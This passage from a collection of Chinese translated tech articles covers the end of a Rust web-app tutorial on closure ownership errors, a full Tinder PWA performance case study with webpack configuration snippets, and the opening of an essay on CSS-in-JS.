expansion of _router_inner!\n<nickel macros>:4:1: 4:43 note: expansion site\n<nickel macros>:1:1: 4:47 note: in expansion of router!\nsrc/main.rs:67:20: 71:6 note: expansion site\nerror: aborting due to 2 previous errors\nCould not compile `simple-log`.\n\nTo learn more, run the command again with --verbose.\n```\n\n我在 IRC（一种即时通讯系统） 中问了这个问题，但是没有得到回应。按道理讲，我应该多花费一些耐心在 IRC 上提问，但没有就是没有。\n\n我在 `nickel.rs` 项目上提交了一个 Issue，认为该问题是由宏导致的。这是我最终的想法 —— 我知道我可能是错的，但是我没有看到别的方法，我也不想放弃。\n\n我的 Issue 在 [https://github.com/nickel-org/nickel.rs/issues/241](https://github.com/nickel-org/nickel.rs/issues/241)。Ryman 很快看到了我的错误，并且非常友好的帮助我解决了问题。显然，他是对的 —— 如果你能看到这篇文章，Ryman，我欠你一个人情。\n\n问题发生在以下具体的闭包中。我们检查一下看看我们能发现什么：\n\n```\nget \"**\" => |_req, _res| {\n    do_log_time(logfile_path, auth_token)\n}\n```\n\n你注意到没，这里，对 `do_log_time` 的调用转移了 `logfile_path` 和 `auth_token` 的所有权到调用的函数。这是问题的所在。\n\n我未经训练时，我认为这是“正常”的，是代码最自然的表现方式。我忽略了一个重要的警告：**在当前情况下，这个 lambda 表达式不能被调用一次以上**。当它被第一次调用时，`logfile_path` 和 `auth_token` 的所有权被转移到了 `do_log_time` 的调用者。这就是说：如果这个函数再次被调用，它**不能**再转移所有权给 `do_log_time`，因为它不再拥有这两个变量。\n\n因此，我们得到错误信息：\n\n```\nsrc/main.rs:69:39: 69:49 error: cannot move out of captured outer variable in an `Fn` closure\n```\n\n我仍然认为这没有任何意义，但是现在至少我明白，它是将所有权从闭包中“移出”。\n\n无论如何，解决这个问题最简单的方法是这样：\n\n```\nlet mut server = Nickel::new();\nserver.utilize(router! {\n    get \"**\" => |_req, _res| {\n        do_log_time(logfile_path.clone(), auth_token.clone())\n    }\n});\n```\n\n现在，在每次调用中，`logfile_path` 和 `auth_token` 仍然被拥有，克隆体被创建了，其所有权被转移了。\n\n然而，我想指出，我仍然认为这是一个次优的解决方案。因为转移所有权的过程不够透明，我现在倾向于尽可能使用引用。\n\n如果使用显式的符号来代表假借的引用用另一种显式符号代表拥有，Rust 会更好，`*` 起这个作用吗？我不知道，但是这的确是一个有趣的问题。\n\n## 9 重构\n\n我将尝试一个快速重构，看看我是否可以使用引用。这将是有趣的，因为我可能会出现一些不可预见的问题 —— 我们来看看吧！\n\n我一直在阅读 Martin Fowler 写的关于重构的书，这刷新了我的价值观，做事情要从一小步开始。第一步，我只想将所有权转化为假借；我们从 `logfile_path` 开始：\n\n```\nfn do_log_time(logfile_path: String, auth_token: Option<String>) -> String {\n    match log_time(logfile_path) {\n        Ok(entry) => format!(\"Entry Logged: {}\", entry),\n        Err(e) => format!(\"Error: {}\", e)\n    }\n}\n\n// ...\n\nfn main() {\n    // ...\n    server.utilize(router! {\n        get \"**\" => |_req, _res| {\n            do_log_time(logfile_path.clone(), auth_token.clone())\n        }\n    });\n   // ...\n}\n```\n\n改为：\n\n```\nfn do_log_time(logfile_path: &String, auth_token: Option<String>) -> String {\n    match log_time(logfile_path.clone()) {\n        Ok(entry) => format!(\"Entry Logged: {}\", entry),\n        Err(e) => format!(\"Error: {}\", e)\n    }\n}\n\n// ...\n\nfn main() {\n    // ...\n    server.utilize(router! {\n        get \"**\" => |_req, _res| {\n            do_log_time(&logfile_path, auth_token.clone())\n        }\n    });\n   // ...\n}\n```\n\n这次重构一定要实现：**用假借替代所有权和克隆**。如果我拥有一个对象，并且我要将其转化为假借，而且我还想在其他地方转移其所有权，我必须先在内部创建自己的副本。这使我可以将我的所有权变成假借，在必要的时候我仍然可以转移所有权。当然，这涉及克隆假借的对象，这会重复占用内存以及产生性能开销，但如此一来我可以安全地更改这行代码。然后，我可以持续使用假借取代所有权，而不会破坏任何东西。\n\n尝试了多次之后我得到如下代码：\n\n```\nuse std::io::prelude::*;\nuse std::fs::OpenOptions;\nuse std::io;\n\n#[macro_use] extern crate nickel;\nuse nickel::Nickel;\n\nextern crate chrono;\nuse chrono::{DateTime,Local};\n\nextern crate clap;\nuse clap::{App,Arg};\n\nfn formatted_time_entry() -> String {\n    let local: DateTime<Local> = Local::now();\n    let formatted = local.format(\"%a, %b %d %Y %I:%M:%S %p\\n\").to_string();\n    formatted\n}\n\nfn record_entry_in_log(filename: &String, bytes: &[u8]) -> io::Result<()> {\n    let mut file = try!(OpenOptions::new().\n                        append(true).\n                        write(true).\n                        create(true).\n                        open(filename));\n    try!(file.write_all(bytes));\n    Ok(())\n}\n\nfn log_time(filename: &String) -> io::Result<String> {\n    let entry = formatted_time_entry();\n    {\n        let bytes = entry.as_bytes();\n\n        try!(record_entry_in_log(filename, &bytes));\n    }\n    Ok(entry)\n}\n\nfn do_log_time(logfile_path: &String, auth_token: &Option<String>) -> String {\n    match log_time(logfile_path) {\n        Ok(entry) => format!(\"Entry Logged: {}\", entry),\n        Err(e) => format!(\"Error: {}\", e)\n    }\n}\n\nfn main() {\n    let matches = App::new(\"simple-log\").version(\"v0.0.1\")\n        .arg(Arg::with_name(\"LOG FILE\")\n             .short(\"l\")\n             .long(\"logfile\")\n             .required(true)\n             .takes_value(true))\n        .arg(Arg::with_name(\"AUTH TOKEN\")\n             .short(\"t\")\n             .long(\"token\")\n             .takes_value(true))\n        .get_matches();\n\n    let logfile_path = matches.value_of(\"LOG FILE\").unwrap().to_string();\n    let auth_token = match matches.value_of(\"AUTH TOKEN\") {\n        Some(str) => Some(str.to_string()),\n        None => None\n    };\n\n    let mut server = Nickel::new();\n    server.utilize(router! {\n        get \"**\" => |_req, _res| {\n            do_log_time(&logfile_path, &auth_token)\n        }\n    });\n\n    server.listen(\"127.0.0.1:6767\");\n\n}\n```\n\n我马上需要处理 `auth_token`，但现在应该暂告一段落。\n\n## 10 对第四部分的结论与回顾\n\n应用程序现在具有解析选项的功能了。然而，这是非常困难的。在尝试解决我的问题时，我差点走投无路。如果我在 nickel.rs 提出的 Issue 没有这么有帮助的回应的话，我会非常受挫。\n\n一些教训：\n\n* 转让所有权是一件棘手的事情。我认为对我来说，一个新的经验之谈是，如果**不必**使用所有权，尽量通过不可变的假借来传递参数。\n* Cargo **真应该**提供一个直接传参给 `rustc` 的方法。\n* 一些 Rust 错误提示不那么太好。\n* 即使错误信息很不怎么好，Rust 还是对的 —— 向我的闭包中转移所有权是错误的，因为网页每被请求一次，该函数就被调用一次。这里给我的一个教训是：如果我不明白错误信息，那么**以代码为切入点**来思考问题是个好办法，尤其是思考什么与 Rust 保证内存安全的思想相左。\n\n这个经验也加强了我对强类型程序语言编译失败的承受能力。有时，你真的要去了解**内部**发生的事情以清楚正在发生什么。在本例中，很难去创建一个最小可重现错误来说明问题。\n\n当错误消息没有给你你需要的信息时，你下一步最好的选择是开始在互联网上搜索与错误消息相关的信息。这并不能真正帮助你自己调查，理解和解决问题。\n\n我认为这可以通过增加一些在多次不同状态下询问编译器结果来优化，以找到关于该问题的更多信息。就像在编译错误中打开一个交互式提示一样，这真是太好了，但即使是注释代码以从编译器请求详细信息也是非常有用的。\n\n—\n\n我在大约一个月的时间里写了这篇文章，主要是因为我忙于处理房子购置物品。有时候，我对此感到**非常**沮丧。我以为整合选项解析是最简单的任务！\n\n但是，意识到 Rust 揭示了我程序的问题时，缓解了我的心情。即使错误信息不如我所希望的那样好，我还是喜欢它能合理的分割错误，这使我从中被拯救出来。\n\n我希望随着Rust的成熟，错误信息会变得更好。如随我愿，我想我所有的担心都会消失。\n\n—\n\n系列文章：使用 Rust 开发一个简单的 Web 应用\n\n* [Part 1](https://github.com/xitu/gold-miner/blob/master/TODO/a-simple-web-app-in-rust-pt-1.md)\n* [Part 2a](https://github.com/xitu/gold-miner/blob/master/TODO/a-simple-web-app-in-rust-pt-2a.md)\n* [Part 2b](https://github.com/xitu/gold-miner/blob/master/TODO/a-simple-web-app-in-rust-pt-2b.md)\n* [Part 3](https://github.com/xitu/gold-miner/blob/master/TODO/a-simple-web-app-in-rust-pt-3.md)\n* [Part 4](https://github.com/xitu/gold-miner/blob/master/TODO/a-simple-web-app-in-rust-pt-4-cli-option-parsing.md)\n* [Conclusion](https://github.com/xitu/gold-miner/blob/master/TODO/a-simple-web-app-in-rust-conclusion.md)\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/a-tinder-progressive-web-app-performance-case-study.md",
    "content": "> * 原文地址：[A Tinder Progressive Web App Performance Case Study](https://medium.com/@addyosmani/a-tinder-progressive-web-app-performance-case-study-78919d98ece0)\n> * 原文作者：[Addy Osmani](https://medium.com/@addyosmani?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/a-tinder-progressive-web-app-performance-case-study.md](https://github.com/xitu/gold-miner/blob/master/TODO/a-tinder-progressive-web-app-performance-case-study.md)\n> * 译者：[pot-code](https://github.com/pot-code)\n> * 校对者：[zwwill](https://github.com/zwwill)\n\n# PWA 实战：Tinder 的性能优化之道\n\n![](https://cdn-images-1.medium.com/max/2000/1*j2n8zzLYxoum1ob-1mjUcw.png)\n\n最近 Tinder 在 web 端发力，公布了 [PWA](https://developers.google.com/web/progressive-web-apps/)  应用 [Tinder Online](https://tinder.com) ，现已全平台支持。在技术实现上，为了应对 [JavaScript 性能优化问题](https://medium.com/dev-channel/the-cost-of-javascript-84009f51e99e) 采用了最前沿的技术，例如，使用 [Service Workers](https://developers.google.com/web/fundamentals/primers/service-workers/) 来应对网络弹性问题、使用 [消息推送（Push Notifications）](https://developers.google.com/web/fundamentals/push-notifications/) 来支撑聊天业务。本文将向各位讲解大佬们是如何处理开发中的性能优化问题的。\n\n![](https://cdn-images-1.medium.com/max/1000/1*1HmfQhMAQL8kukiNtMZRjA.png)\n\n### 开发历程\n\nTinder Online 肩负着打开新市场的使命，它背后的团队希望把它打造成一个全平台无缝体验的在线聊天平台。\n\n**产品的 MVP 开发花了 3 个月，UI 库用了 [React](https://reactjs.com)，状态管理用的是 [Redux](https://redux.js.org)**。最后的成果还是显著的，在不影响功能体验的前提下，数据传输量减少到了原来的十分之一：\n\n![](https://cdn-images-1.medium.com/max/1000/1*cqYbI-L0zukfYS0ZAwUtqA.png)\n\n上图是 Tinder Online 和手机 app 在安装过程中所需数据量大小的比较，虽然这两个类型不同，但是还是具有参考意义的。 相对手机 app 来说，PWA 只有在需要时才加载新的代码。用户边使用边下载，因为下载过程分散在整个使用过程中，所以用户并不会察觉到。即使用户在使用中访问了应用的其他部分，综合下载量也还是少于直接下载整个 app 所需的数据量。\n\n上线后的前期表现还是不错的，用户划一划频率、发信频率以及在线时长均优于在手机 app 上的表现。总之，使用 PWA 之后（针对 PWA 和原生的比较）：\n\n* 用户划一划的频率变高了\n* 用户的发信更频繁了\n* 不影响用户买买买\n* 用户更加卖力的经营自己的账户\n* 用户在线时间更长了\n\n### 性能表现\n\n数据显示，手机端用户主要使用的设备包括但不限于：\n\n* Apple iPhone & iPad\n* Samsung Galaxy S8\n* Samsung Galaxy S7\n* Motorola Moto G4\n\n再使用 [Chrome User Experience report](https://developers.google.com/web/tools/chrome-user-experience-report/) （简称 CrUX）进行分析，得知用户主要使用 4G 网络进行访问：\n\n![](https://cdn-images-1.medium.com/max/1000/1*gO4n3kBs5Zy1eAkMQqxx7w.png)\n\n**注：可以参考 Rick Viscomi 在 [PerfPlanet](https://calendar.perfplanet.com/2017/finding-your-competitive-edge-with-the-chrome-user-experience-report/) 上对 CrUX 的介绍，Inian Parameshwaran 介绍的 [rUXt](https://calendar.perfplanet.com/2017/introducing-ruxt-visualizing-real-user-experience-data-for-1-2-million-websites/) 在网络可视化分析这块针对大流量网站更具优势。**\n\n在常用的 web 应用测试网站（[WebPageTest](https://www.webpagetest.org/result/171224_ZB_13cef955385ddc4cae8847f451db8403/) 和 [Lighthouse](https://github.com/GoogleChrome/lighthouse/)）上进行测试，使用 4G 网络的 Galaxy S7 可以在  **5秒内** 完全加载应用：\n\n![](https://cdn-images-1.medium.com/max/1000/1*e-EHgbBBNXyuce8Z836Sgg.png)\n\n相比高端机型，配置 [相对一般](https://www.webpagetest.org/lighthouse.php?test=171224_NP_f7a489992a86a83b892bf4b4da42819d&run=3) 的机型（例如 Moto G4）的性能表现还有很大的提升空间，这类机型的 CPU 资源比较吃紧：\n\n![](https://cdn-images-1.medium.com/max/1000/1*VJ3ZbSQtIjxsIW8Feuiejw.png)\n\nTinder 现在也确实在针对这方面做优化，期待他们以后的表现。\n\n### 性能优化\n\nTinder 为了加快页面的加载使用了很多技术，例如基于路由的代码分割、性能预算（performance budgets）以及静态资源持久缓存。\n\n### 基于路由的代码分割\n\n起初打包的文件非常巨大，严重拖慢了交互就绪的速度，对用户体验影响很大。因为打包的文件里包含了除核心交互以外的代码，这就需要使用 [代码分割（code-splitting）](https://webpack.js.org/guides/code-splitting/) **抽离出暂时不需要的代码，只保留核心功能。**\n\n针对这个问题，Tinder 引入了 [React Router](https://reacttraining.com/react-router/) 和 [React Loadable](https://github.com/thejameskyle/react-loadable)。得益于前期架构的优势，整个应用非常适合使用基于配置的方式处理路由和渲染，因此，代码分割也能很顺利的在顶层上实现。\n\n**小结：**\n\nReact Loadable 是 James Kyle 开发的一个轻型库，简化了 React 中基于组件的代码分割操作，它提供的 **Loadable** 函数是一个高阶（higher-order）组件（创建组件的函数），专门用于处理代码分割。\n\n下面举例说明。假如有两个组件 “A” 和 “B”，分割前，它们和入口文件一并打包，因为这两个模块目前并不需要，所以这样全部打包在一起是很低效的：\n\n![](https://cdn-images-1.medium.com/max/1000/1*DoTby4l_-A3TNdiUSZ0LmA.png)\n\n这里要求使用代码分割之后，组件 A 和 B 只是在需要时才加载。为此，Tinder 引入了 React Loadable、[动态导入函数 import()](https://webpack.js.org/guides/code-splitting/#dynamic-imports) 以及 [webpack 神奇的注释语法](https://medium.com/faceyspacey/how-to-use-webpacks-new-magic-comment-feature-with-react-universal-component-ssr-a38fd3e296a) （用来为动态导入的模块命名）：\n\n![](https://cdn-images-1.medium.com/max/1000/1*aPY-1uGEvPV1dNKrrD8z4Q.png)\n\n在公共库（即 vendor）的处理上，Tinder 使用了 webpack 官方提供的 [**CommonsChunkPlugin**](https://webpack.js.org/plugins/commons-chunk-plugin/) 插件，把路由间公用的库单独打包到一个文件中，利用浏览器的缓存机制提升性能：\n\n![](https://cdn-images-1.medium.com/max/1000/1*R-kXPcn937BNoFXLukPJPg.png)\n\n接着使用 [React Loadable 提供的预加载功能](https://github.com/thejameskyle/react-loadable#loadablecomponentpreload) 针对那些/在接下来的交互中/存在潜在加载需求/的资源/做预加载处理（译者注：注意断句）：\n\n![](https://cdn-images-1.medium.com/max/1000/1*G2JvbNCsm4eBXbGgyW6OmA.png)\n\nTinder 还用 [Service Workers](https://developers.google.com/web/fundamentals/primers/service-workers/) 对所有路由做了预缓存处理，其中就包括用户经常访问而没有做代码分割的路由。最后使用 UglifyJS 对代码进行压缩：\n\n```javascript\nnew webpack.optimize.UglifyJsPlugin({\n      parallel: true,\n      compress: {\n        warnings: false,\n        screw_ie8: true\n      },\n      sourceMap: SHOULD_SOURCEMAP\n    }),\n```\n\n#### 成果\n\n使用代码分割后，打包文件大小从 166KB 减到 101KB，DOM 内容加载时间（DCL）也从 5.46s 降低到 4.69s：\n\n![](https://cdn-images-1.medium.com/max/1000/1*1Tt8bnnkyIi8aEw0BjRgMw.png)\n\n### 静态资源持久缓存\n\n在 webpack 的输出中配置 [chunkhash]，一方面可以用来规避开发过程中因浏览器缓存而引发的资源不更新问题，二来也可以确保缓存有效。\n\n![](https://cdn-images-1.medium.com/max/1000/1*nofQB3Q-8IUo9f1Eipd0xw.png)\n\n由于 Tinder 使用了大量的第三方开源库，如果其中的一个依赖发生变化都会导致 [chunkhash] 的重新计算，从而导致之前的缓存失效。为了解决这个问题，Tinder 制定了一个 [外部依赖白名单](https://gist.github.com/tinder-rhsiao/89cd682c34d1e1307111b091801e6fe5]%28https://gist.github.com/tinder-rhsiao/89cd682c34d1e1307111b091801e6fe5)，另外还将 manifest 从主干中抽出，进一步改进缓存。最后，主干代码和 manifest 的打包大小都只有 160KB。\n\n### 预加载潜在需求资源\n\n这里用到了 [`<link rel=preload>`](https://developers.google.com/web/fundamentals/performance/resource-prioritization)，它告诉浏览器这是一个关键资源，马上要用到，需要尽早加载。在单页应用（SPA）中，这些资源可以是打包后的 JavaScript 文件。\n\n![](https://cdn-images-1.medium.com/max/800/1*CaObLc_tGJvnllyV3CGD5w.png)\n\nTinder 将核心体验相关的资源文件进行了预加载处理，最终加载时间减少了 1s，首次绘制时间也从 1000ms 减少到 500ms。\n\n![](https://cdn-images-1.medium.com/max/1000/1*AtzElAKy_pCvRjZN__YSsQ.png)\n\n### 性能预算\n\n为了达到移动端的性能期望，Tinder 引入了 **性能预算**。Alex Russell 在他发表过的一篇文章（[Can you afford it?: real-world performance budgets](https://infrequently.org/2017/10/can-you-afford-it-real-world-web-performance-budgets/)）中指出：难就难在要在网络环境不好、配置也一般的移动设备上提供良好的用户体验，因为提升空间非常有限。\n\n为了保证应用能快速就绪，Tinder 规定公共依赖和主干代码的大小要维持在 155KB 左右，分配给异步加载（懒加载）的数据量大约 55KB 左右、其他部分代码 35KB 左右，CSS 则限制在 20KB 左右。 这个规划保证了最坏情况下的性能表现。\n\n![](https://cdn-images-1.medium.com/max/1000/1*OgDLsMxsy6IO79NmjQtcng.png)\n\n### Webpack 打包分析\n\n开源工具 [Webpack Bundle Analyzer](https://github.com/webpack-contrib/webpack-bundle-analyzer) 可以对依赖进行可视化分析，暴露出那些明显的可优化问题。\n\n![](https://cdn-images-1.medium.com/max/800/1*qsiUA0G50a4p3y2e4p7CyA.png)\n\nTinder 主要用它来分析以下几类优化问题：\n\n* **Polyfills 代码占比：** 因为 Tinder 的目标平台包括了 IE11 和 Android 4.4，免不了使用一些 Polyfills，但是又不希望这些代码占据太多数据量，所以直接用了 [**babel-preset-env**](https://github.com/babel/babel-preset-env) 和 [**core-js**](https://github.com/zloirock/core-js)。\n* **是否引入了不必要的第三方库：** 最后移除了 [localForage](https://github.com/localForage/localForage) ，使用 IndexedDB 作为替代。\n* **分割方案是否最优：** 将首次绘制/交互中用不到的组件从主干代码中剔除。\n* **是否可提炼复用代码：** 将子模块中使用超过三次的公共代码抽出成异步加载的代码块。\n* **CSS：** 把 [critical CSS](https://www.smashingmagazine.com/2015/08/understanding-critical-css/) 从核心包中移除（转而使用服务器端渲染的方式）。\n\n![](https://cdn-images-1.medium.com/max/800/1*ZL3i2BRHo8Sq_dv1NyA8Dw.png)\n\n这个工具可以搭配 Webpack 的 [Lodash Module Replacement 插件](https://github.com/lodash/lodash-webpack-plugin) 使用。这个插件将模块中使用到的一些特定方法替换成实现上更简单、功能上等效的代码，从而减小打包文件大小：\n\n![](https://cdn-images-1.medium.com/max/1000/1*of2Mv5ypTySRpTZQZVRj7A.png)\n\nWebpack Bundle Analyzer 可以集成到 Webpack 的配置中。来自 Tinder 的配置参考：\n\n```javascript\nplugins: [\n      new BundleAnalyzerPlugin({\n        analyzerMode: 'server',\n        analyzerPort: 8888,\n        reportFilename: 'report.html',\n        openAnalyzer: true,\n        generateStatsFile: false,\n        statsFilename: 'stats.json',\n        statsOptions: null\n      })\n```\n\n经过一系列优化之后，剩下的主要是主干部分代码。这些代码暂时就不用动了，除非架构发生变化。\n\n### CSS 的优化策略\n\nTinder 使用 [Atomic CSS](https://acss.io/) 创建了许多高复用的 CSS 样式，其中一些做了内联处理，在初始化绘制过程中生效，剩下的则分散在外部 CSS 文件中（包括动画或者 base/reset 等样式）。关键样式（Critical styles）使用 gzip 压缩之后大小不超过 20KB，最近的一次构建则压缩到了 11KB 以下。\n\nTinder 还使用了 [CSS stats](http://cssstats.com/stats?url=https%253A%252F%252Ftinder.com&ua=Browser%2520Default%0A) 和 Google Analytics 跟踪每次发版的变化。在使用 Atomic CSS 前，页面的平均加载时间在 6.75s 左右，使用之后降到 5.75s 左右。\n\n![](https://cdn-images-1.medium.com/max/1000/1*Uv_at6Xs7QYHZJ0iy8c7GQ.png)\n\n最后用 [Autoprefixer](https://twitter.com/autoprefixer) 添加浏览器前缀：\n\n```javascript\nnew webpack.LoaderOptionsPlugin({\n    options: {\n    context: paths.basePath,\n    output: { path: './' },\n    minimize: true,\n    postcss: [\n        autoprefixer({\n        browsers: [\n            'last 2 versions',\n            'not ie < 11',\n            'Safari >= 8'\n        ]\n        })\n      ]\n    }\n}),\n```\n\n### 运行时性能\n\n#### 使用 requestIdleCallback() 推迟非关键事务\n\n使用 [requestIdleCallback()](https://developers.google.com/web/updates/2015/08/using-requestidlecallback) 将非关键事务推迟到空闲期运行，以提高运行时性能。\n\n```javascript\nrequestIdleCallback(myNonEssentialWork);\n```\n\n什么叫非关键事务？比如做插桩标记（instrumentation beacons）。Tinder 团队为了减少刷屏时的绘制次数，对合成层（composite layers）也做了优化。\n\n**在刷屏操作中，是否使用 requestIdleCallback() 的对比：**\n\n使用前..\n\n![](https://cdn-images-1.medium.com/max/800/1*oHJ8IjCs7AKdCrt9b28ZPw.png)\n\n使用后...\n\n![](https://cdn-images-1.medium.com/max/800/1*UTQuSSp7MGMY06mwYtQmaw.png)\n\n### 依赖优化\n\n**Webpack 3 + 作用域提升**\n\n在 webpack 3 以前，每个模块在打包后都会被包裹进一个独立的闭包内，但是这些包裹起来的方法（闭包）执行效率很低。对此，[Webpack 3](https://medium.com/webpack/webpack-3-official-release-15fd2dd8f07b) 推出了“作用域提升”机制，将多个模块打包进一个闭包中（相当于合并作用域），以提高执行速度。使用这一功能需要引入 Module Concatenation 插件：\n\n```javascript\nnew webpack.optimize.ModuleConcatenationPlugin()\n```\n\n**使用作用域提升机制后，Tinder 第三方依赖初始化解析时间减少了 8%。**\n\n**React 16**\n\nReact 16 优化了打包之后的文件大小，新的打包算法（Rollup）会剔除一些暂时用不到的代码。\n\n**Tinder 从 React 15 升级到 React 16 后，gzip 压缩后的依赖大小减小了约 7%**。\n\n最后，react + react-dom 压缩后从之前的 50KB 降到现在的 **35KB** 左右，效果拔群。这里要特别感谢 [Dan Abramov](https://twitter.com/dan_abramov)、[Dominic Gannaway](https://twitter.com/trueadm) 和 [Nate Hunzaker](https://twitter.com/natehunzaker) 的付出，他们在 React 16 中为降低打包文件大小做了不少贡献。\n\n### 网络弹性和静态资源缓存\n\nTinder 还用了 [Workbox Webpack 插件](https://developers.google.com/web/tools/workbox/get-started/webpack)，用于缓存 [Application Shell](https://developers.google.com/web/fundamentals/architecture/app-shell) 和核心静态资源，例如主干代码、第三方库、manifest 和 CSS。使用后，具备了较强的频繁访问抗压能力，同时用户再次使用时，启动速度也大大提高了。\n\n![](https://cdn-images-1.medium.com/max/1000/1*yXpAzyA1ODPk2OSOTA6Lhg.png)\n\n### 更上一层楼\n\n用 [source-map-explorer](https://www.npmjs.com/package/source-map-explorer) （又一个包分析工具）再次对包进行深入分析，发现还有继续缩小网络负载的优化空间。在登陆场景中，用户还没登录的情况下，Facebook 图片、通知、私信以及验证码这些组件并不需要加载，将这些组件从关键路径（critical path）移除之后可为主干代码省下 20% 的数据量：\n\n![](https://cdn-images-1.medium.com/max/1000/1*G1nq7BNZPEo2mFr_my5zjA.png)\n\n因为上一步移除了 Facebook 的组件，所以其相关依赖 Facebook SDK 也可以直接移除，后面需要用到的时候再进行加载（懒加载），这样就又节省了 200KB，而且初始加载时间也减少了 1 秒。\n\n### 总结\n\n虽然 Tinder 还在继续迭代他们的产品，但是已经初见成效了，你可以随时访问 Tinder.com 关注最新进展。\n\n**感谢并祝贺 Roderick Hsiao、 Jordan Banafsheha 以及 Erik Hellenbrand，恭喜你们成功发布了 Tinder Online，谢谢你们对我的文章提出的指导意见，还有 Cheney Tsai，你的观点给了我很多启发。**\n\n**相关阅读：**\n\n* [A Pinterest PWA performance case study](https://medium.com/dev-channel/a-pinterest-progressive-web-app-performance-case-study-3bd6ed2e6154)\n* [A Treebo React & Preact performance case study](https://medium.com/dev-channel/treebo-a-react-and-preact-progressive-web-app-performance-case-study-5e4f450d5299)\n* [Twitter Lite and high-performance PWAs at scale](https://medium.com/@paularmstrong/twitter-lite-and-high-performance-react-progressive-web-apps-at-scale-d28a00e780a3)\n\n本文转载自 [Performance Planet](https://calendar.perfplanet.com/2017/a-tinder-progressive-web-app-performance-case-study/)。 如果你对 React 还不熟悉，可以参考我推荐的教程：[React for Beginners](https://goo.gl/G1WGxU)，对新手十分友好。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/a-unified-styling-language.md",
    "content": "> * 原文地址：[A Unified Styling Language](https://medium.com/seek-blog/a-unified-styling-language-d0c208de2660)\n> * 原文作者：本文已获原作者 [Mark Dalgleish](https://medium.com/@markdalgleish) 授权\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[ZhangFe](https://github.com/ZhangFe)\n> * 校对者：[JackGit](https://github.com/JackGit), [yifili09](https://github.com/yifili09), [sunshine940326](https://github.com/sunshine940326), [sunui](https://github.com/sunui)\n\n# 统一样式语言\n\n在过去几年中，我们见证了  [CSS-in-JS](https://github.com/MicheleBertoli/css-in-js) 的兴起，尤其是在 [React](https://facebook.github.io/react) 社区。但它也饱含争议，很多人，尤其是那些已经精通 CSS 的人，对此持怀疑态度。\n\n> \"为什么有人要在 JS 中写 CSS？\n\n> 这简直是一个可怕的想法！\n\n> 但愿他们学过 CSS !\"\n\n如果这是你听到 CSS-in-JS 时的反应，那么请阅读下去。我们来看看为什么在 JavaScript 中编写样式并不是一个可怕的想法，以及为什么我认为你应该长期关注这个快速发展的领域。\n\n![](https://cdn-images-1.medium.com/max/2000/1*Ipu5Grtzr21suPiTfvGXaw.png)\n\n### 相互误解的社区\n\nReact 社区经常被 CSS 社区误解，反之亦然。对我来说这很有趣，因为我同时混迹于这两个社区。\n\n我从九十年代后期开始学习 HTML，并且从基于表格布局的黑暗时代就开始专职于 CSS。受 [CSS 禅意花园](http://www.csszengarden.com)启发，我是最早一批将现有代码向[语义化标签](https://en.wikipedia.org/wiki/Semantic_HTML)和层叠样式表迁移的开发者。不久后我开始痴迷于 HTML 和 JavaScript 的分离工作，在服务器渲染出来的页面中使用[非侵入式 JavaScript](https://www.w3.org/wiki/The_principles_of_unobtrusive_JavaScript) 同客户端交互。围绕这些实践，我们组成了一个非常小但是充满活力的社区，并且我们成为了第一代前端开发人员，努力去解决各个浏览器的兼容性问题。\n\n在这种关注于web的背景下，你可能会认为我会强烈反对 React 的 [HTML-in-JS](https://facebook.github.io/react/docs/jsx-in-depth.html) 模式，它似乎违背了我们所坚持的原则，但实际上恰恰相反。根据我的经验，React 的组件化模型结合其服务端渲染的能力，终于为我们提供了一种构建大规模复杂单页应用的方式，并且仍然能将快速、易访问、渐进增强的应用推送给我们的用户。在我们的旗舰产品 [SEEK](https://www.seek.com.au) 上我们就是这么做的，它是一个 React 单页应用，当 JavaScript 被禁用时，其核心搜索流程依然可用，因为我们通过在服务器端运行同构的 JavaScript 代码来实现优雅降级。\n\n所以，请考虑将这篇文章作为两个社区之间相互示好的橄榄枝。让我们一起努力理解 CSS-in-JS 这次转变的实质所在。也许它不完美，也许你没有计划在你的产品中使用这门技术，也许它对你不是很有说服力，但是至少值得你尝试思考一下。\n\n### 为什么要使用 CSS-in-JS?\n\n如果你熟悉我最近做的与 React 以及 [CSS Modules](https://github.com/css-modules/css-modules)相关的工作，你会惊讶地发现我是捍卫 CSS-in-JS 的。\n\n![](https://cdn-images-1.medium.com/max/1600/1*RtAMWbxdwW2ujyrurU9plw.png)\n\n毕竟，通常那些希望样式有局部作用域但是又不希望在 JS 中写 CSS 的开发者才会选择使用 CSS Modules。事实上，我甚至在自己的工作中都不使用CSS-in-JS。\n\n尽管如此，我仍然对 CSS-in-JS 社区保持浓厚的兴趣，对他们不断提出的创新保持密切关注。不仅如此，**我认为这些应该同样被更多的 CSS 社区所关注**\n\n原因是什么呢？\n\n为了更清楚地了解为什么人们选择在 JavaScript 中编写样式，我们将重点关注这种方式所带来的实际性好处.\n\n我把这些优点分为五个主要方面：\n\n1.  拥有作用域的样式\n2.  